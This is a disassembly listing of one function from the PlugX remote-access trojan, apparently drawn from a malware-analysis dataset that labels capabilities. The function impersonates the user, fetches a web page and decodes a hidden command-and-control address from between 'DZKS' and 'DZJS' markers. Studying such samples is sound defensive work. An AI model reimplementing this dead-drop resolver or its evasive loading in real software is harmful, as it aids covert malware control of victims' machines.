Function at 0x1001e1a0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
lea ecx, [esp + 4]
push ebx
push esi
push edi
call fcn.1001c8c0
test eax, eax
je 0x1001e1d5
push 0
mov edx, 0x1f2
mov dword [esp + 0x14], 0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1001e275
push eax
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x1001e1ff
push eax
mov edx, 0x1f9
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.cpp
call fcn.10024152
add esp, 4
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
push 0xf003f
call dword [sym.imp.ADVAPI32.dll_RegOpenCurrentUser]
test eax, eax
je 0x1001e22e
push eax
mov edx, 0x200
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.cpp
call fcn.10024152
add esp, 4
push dword [esp + 0x14]
push bind
call dword [sym.imp.ADVAPI32.dll_RegOverridePredefKey]
test eax, eax
je 0x1001e254
push eax
mov edx, 0x205
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.cpp
call fcn.10024152
add esp, 4
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x1001e275
push eax
mov edx, 0x20a
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.cpp
call fcn.10024152
add esp, 4
xor edi, edi
lea ecx, [esp + 0x30]
push 0x1000
mov dword [esp + 0x28], edi
mov dword [esp + 0x30], edi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x24], edi
call fcn.10006420
mov eax, dword [0x100310b4]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x1001e2cc
mov eax, dword [0x100310b0]
test eax, eax
jne 0x1001e2bf
push str.wininet
call ebx
mov dword [0x100310b0], eax
push str.InternetSetOptionA
push eax
call esi
mov dword [0x100310b4], eax
push 0
push 0
push 0x5f
push 0
call eax
test eax, eax
jne 0x1001e2ed
push eax
mov edx, 0x217
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x100310b4]
test eax, eax
jne 0x1001e318
mov eax, dword [0x100310b0]
test eax, eax
jne 0x1001e30b
push str.wininet
call ebx
mov dword [0x100310b0], eax
push str.InternetSetOptionA
push eax
call esi
mov dword [0x100310b4], eax
push 0
push 0
push 0x27
push 0
call eax
test eax, eax
jne 0x1001e339
push eax
mov edx, 0x21c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x100310b4]
test eax, eax
jne 0x1001e364
mov eax, dword [0x100310b0]
test eax, eax
jne 0x1001e357
push str.wininet
call ebx
mov dword [0x100310b0], eax
push str.InternetSetOptionA
push eax
call esi
mov dword [0x100310b4], eax
push 0
push 0
push 0x25
push 0
call eax
test eax, eax
jne 0x1001e385
push eax
mov edx, 0x221
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x100310ac]
test eax, eax
jne 0x1001e3b0
mov eax, dword [0x100310b0]
test eax, eax
jne 0x1001e3a3
push str.wininet
call ebx
mov dword [0x100310b0], eax
push str.InternetOpenA
push eax
call esi
mov dword [0x100310ac], eax
push 0
push 0
push 0
push 0
push 0
call eax
mov dword [esp + 0x18], eax
test eax, eax
jne 0x1001e3d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1001e604
mov eax, dword [0x100310a8]
test eax, eax
jne 0x1001e3fc
mov eax, dword [0x100310b0]
test eax, eax
jne 0x1001e3ef
push str.wininet
call ebx
mov dword [0x100310b0], eax
push str.InternetOpenUrlA
push eax
call esi
mov dword [0x100310a8], eax
push 0
push bind
push 0
push 0
push dword [ebp + 0xc]
push dword [esp + 0x2c]
call eax
mov dword [esp + 0x14], eax
test eax, eax
jne 0x1001e425
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1001e5b8
mov esi, dword [esp + 0x30]
nop dword [eax]
mov eax, dword [0x100310a4]
test eax, eax
jne 0x1001e45f
mov eax, dword [0x100310b0]
test eax, eax
jne 0x1001e44e
push str.wininet
call ebx
mov dword [0x100310b0], eax
push str.InternetReadFile
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100310a4], eax
lea ecx, [esp + 0x1c]
push ecx
push esi
push dword [esp + 0x3c]
push dword [esp + 0x20]
call eax
mov edi, dword [esp + 0x24]
test eax, eax
je 0x1001e564
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x1001e493
push eax
push dword [esp + 0x38]
lea ecx, [esp + 0x28]
call fcn.100066e0
jmp 0x1001e430
mov edx, dword [esp + 0x20]
xor esi, esi
add edx, 0xfffffffc
test edx, edx
jle 0x1001e4c0
lea eax, [edi + 2]
cmp byte [eax - 2], 0x44
jne 0x1001e4ba
cmp byte [eax - 1], 0x5a
jne 0x1001e4ba
cmp byte [eax], 0x4b
jne 0x1001e4ba
cmp byte [eax + 1], 0x53
je 0x1001e4c0
inc esi
inc eax
cmp esi, edx
jl 0x1001e4a3
cmp esi, edx
jl 0x1001e4ce
mov esi, 0x490
jmp 0x1001e56c
add esi, 4
mov ecx, esi
cmp ecx, edx
jge 0x1001e4ff
lea eax, [edi + 2]
add eax, ecx
nop dword [eax]
cmp byte [eax - 2], 0x44
jne 0x1001e4f7
cmp byte [eax - 1], 0x5a
jne 0x1001e4f7
cmp byte [eax], 0x4a
jne 0x1001e4f7
cmp byte [eax + 1], 0x53
je 0x1001e4fd
inc ecx
inc eax
cmp ecx, edx
jl 0x1001e4e0
cmp ecx, edx
jle 0x1001e508
mov esi, 0x490
jmp 0x1001e56c
xor edx, edx
cmp esi, ecx
jge 0x1001e52c
nop
mov al, byte [edi + esi + 1]
shl al, 4
sub al, 0x51
add al, byte [esi + edi]
add esi, 2
mov byte [edx + edi], al
mov byte [edi + edx + 1], 0
inc edx
cmp esi, ecx
jl 0x1001e510
mov esi, dword [ebp + 8]
mov eax, 2
mov word [esi], ax
mov eax, 0x100
movzx ecx, byte [edi + 1]
imul ecx, eax
movzx eax, byte [edi]
add cx, ax
mov word [esi + 2], cx
xor ecx, ecx
test edx, edx
jle 0x1001e560
mov al, byte [edi + ecx + 2]
mov byte [esi + ecx + 4], al
inc ecx
cmp ecx, edx
jl 0x1001e553
xor esi, esi
jmp 0x1001e56c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [0x100310a0]
test eax, eax
jne 0x1001e59b
mov eax, dword [0x100310b0]
test eax, eax
jne 0x1001e58a
push str.wininet
call ebx
mov dword [0x100310b0], eax
push str.InternetCloseHandle
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100310a0], eax
push dword [esp + 0x14]
call eax
test eax, eax
jne 0x1001e5b8
push eax
mov edx, 0x251
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x100310a0]
test eax, eax
jne 0x1001e5e7
mov eax, dword [0x100310b0]
test eax, eax
jne 0x1001e5d6
push str.wininet
call ebx
mov dword [0x100310b0], eax
push str.InternetCloseHandle
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100310a0], eax
push dword [esp + 0x18]
call eax
test eax, eax
jne 0x1001e604
push eax
mov edx, 0x259
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.cpp
call fcn.10024152
add esp, 4
cmp dword [esp + 0x10], 0
je 0x1001e66d
push 0
push bind
call dword [sym.imp.ADVAPI32.dll_RegOverridePredefKey]
test eax, eax
je 0x1001e62f
push eax
mov edx, 0x263
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
test eax, eax
jne 0x1001e64c
push eax
mov edx, 0x268
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.cpp
call fcn.10024152
add esp, 4
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1001e66d
push eax
mov edx, 0x26d
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x34]
test eax, eax
je 0x1001e680
push 1
push eax
call fcn.10027bcc
add esp, 8
test edi, edi
je 0x1001e68f
push 1
push edi
call fcn.10027bcc
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8